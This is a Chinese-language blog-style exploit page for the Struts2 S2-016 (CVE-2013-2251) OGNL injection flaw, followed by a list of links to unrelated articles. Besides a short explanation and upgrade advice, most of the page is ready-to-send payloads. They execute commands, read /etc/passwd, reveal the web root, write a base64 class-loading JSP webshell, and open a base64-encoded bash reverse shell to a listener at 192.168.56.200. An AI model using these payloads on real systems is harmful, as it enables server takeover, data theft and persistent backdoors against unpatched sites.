S2-016 CVE-2013-2251
漏洞名称
S2-016(CVE-2013-2251)
通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行
利用条件
Struts 2.0.0 – Struts 2.3.15
漏洞原理
struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
漏洞利用
执行命令
poc1
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)

poc2
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
windows环境下 未测试poc
redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
读文件
redirect:${#d=new java.io.FileReader('/etc/././passwd'),#e=new java.io.BufferedReader(#d),#f=#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine(),#e.close(),#d.close(),#aaaaa=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#xxxxx=#aaaaa.getWriter(),#xxxxx.println(#f),#xxxxx.flush(),#xxxxx.close()}

获取web目录
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入web shell
poc1
为写入内容 尝试后只上传上去一个空文件
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("3.jsp").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
poc2
redirect:xxxxx%{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#path=#req.getRealPath("/")+'/x.jsp',#d=new java.io.FileWriter(#path),#d.write('test'),#d.close()}
x.html 为写入的文件名
test为写入的文件内容
写入jsp的webshell
redirect:xxxxx%{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#path=#req.getRealPath("/")+'/2.jsp',#d=new java.io.FileWriter(#path),#d.write('<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>'),#d.close()}
在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)
编码后发送


反弹shellen
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
urlencode编码后发送
在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)


修复建议
强烈建议升级到 Struts 2.3.15.1****,其中包含更正后的 Struts2 核心库。
参考文章
S2-016 CVE-2013-2251的更多相关文章
- Struts2开发模式漏洞
当Struts2中的devMode模式设置为true时,存在严重远程代码执行漏洞.如果WEB服务以最高权限运行时,可远程执行任意命令,包括远程控制服务器. 如果为受影响的版本,建议修改配置文件stru ...
- [初读笔记] Cloud Migration Research: A Systematic Review (TCC, 2013)
Pooyan Jamshidi, Aakash Ahmad, Claus Pahl, "Cloud Migration Research: A Systematic Review," ...
- HDU 4791 Alice's Print Service (2013长沙现场赛,二分)
Alice's Print Service Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Ot ...
- 2013杭州网络赛D题HDU 4741(计算几何 解三元一次方程组)
Save Labman No.004 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Other ...
- Visual Studio 2013 编译 64 位 Python 的 C 扩展 (使用 PyObject 包装)
对于 32 位 Python 的 C 扩展,以前用过 mingW32 编译, 但是 mingW32 不支持 64 位 Python 的 C 扩展编译,详情可见 stackoverflow,这位前辈的大 ...
- Moscow Subregional 2013. 部分题题解 (6/12)
Moscow Subregional 2013. 比赛连接 http://opentrains.snarknews.info/~ejudge/team.cgi?contest_id=006570 总叙 ...
- HDU 4768 Flyer (2013长春网络赛1010题,二分)
Flyer Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Submi ...
- AtcoderGrandContest 016 D.XOR Replace
$ >AtcoderGrandContest \space 016 D.XOR\space Replace<$ 题目大意 : 有两个长度为 \(n\) 的数组 \(A, B\) ,每次操作 ...
- 2013年新统计全国省市县以及邮政编码SQL数据脚本
USE [imei8com] GO /****** Object: Table [dbo].[Zone] Script Date: 03/12/2014 15:05:41 ******/ SET AN ...
- 2013面试C++小结
2013年我在厦门c++求职小结 1.一般公司出的面试题目中的找错误,都是出自平常公司内部使用过程中出现的真实错误. 比如stl 中erase的使用:详细请见 :http://blog.csdn.ne ...
随机推荐
- ULID规范解读与实现原理
前提 最近发现各个频道推荐了很多ULID相关文章,这里对ULID的规范文件进行解读,并且基于Java语言自行实现ULID,通过此实现过程展示ULID的底层原理. ULID出现的背景 ULID全称是Un ...
- WindivertDotnet快速发Ping
1 前言 WindivertDotnet是面向对象的WinDivert的dotnet异步封装,其提供如下的发送数据方法: ValueTask<int> SendAsync( WinDive ...
- Java编程基础——敬请期待!!!
变量 数据类型 条件判断 循环 函数 类 Java特性
- 成功解决:Can‘t find Python executable “python“, you can set the PYTHON env variable.
今天跑公司新项目的时候.运行前端vue.报了一个关于python的错误.就离谱 1.问题报错全部代码 actual version of core-js. npm ERR! code 1 npm ER ...
- 齐博X1-栏目的调用3
本节继续说明栏目的调用之同级别栏目 同级栏目的调用 fun('sort@brother',$fid,'cms') 这个函数用的比较多,特别是栏目页,在一个页面会把一个父级栏目下的子级栏目全部列出来, ...
- java中GC的日志认识详解
不同的垃圾回收器 他们的日志都是完成不一样的,看懂日志是解决和发现问题的重中之重. Parallel Scavenge + Parallel Old 日志 启动参数 -XX:+UseParallelG ...
- AK/SK加密认证
AK/SK认证的实现 AK/SK概述 1.什么是AKSK ak/sk是一种身份认证方式,常用于系统间接口调用时的身份验证,其中ak为Access Key ID,sk为Secret Access Key ...
- 统一的开发平台.NET 7正式发布
在 2020 年规划的.NET 5功能终于在.NET 7 完成了,为微软和社区一起为多年来将不同的开发产品统一起来的努力加冕,未来只有一个.NET, 回顾.NET 20年,从.NET Framewo ...
- vue 过滤器时间格式化
1.导入了一个moment.js插件,里面封装了格式化时间的方法 ①:插件的链接:https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.22.2/mom ...
- c++详细学习——继承
通常讲父类(parrent)-子类(child).基类(base)-派生类(derived)和超类(super)-子类(sub) 1 最基础的写法 以下例子为最基本的写法,默认构造 1 enum Ge ...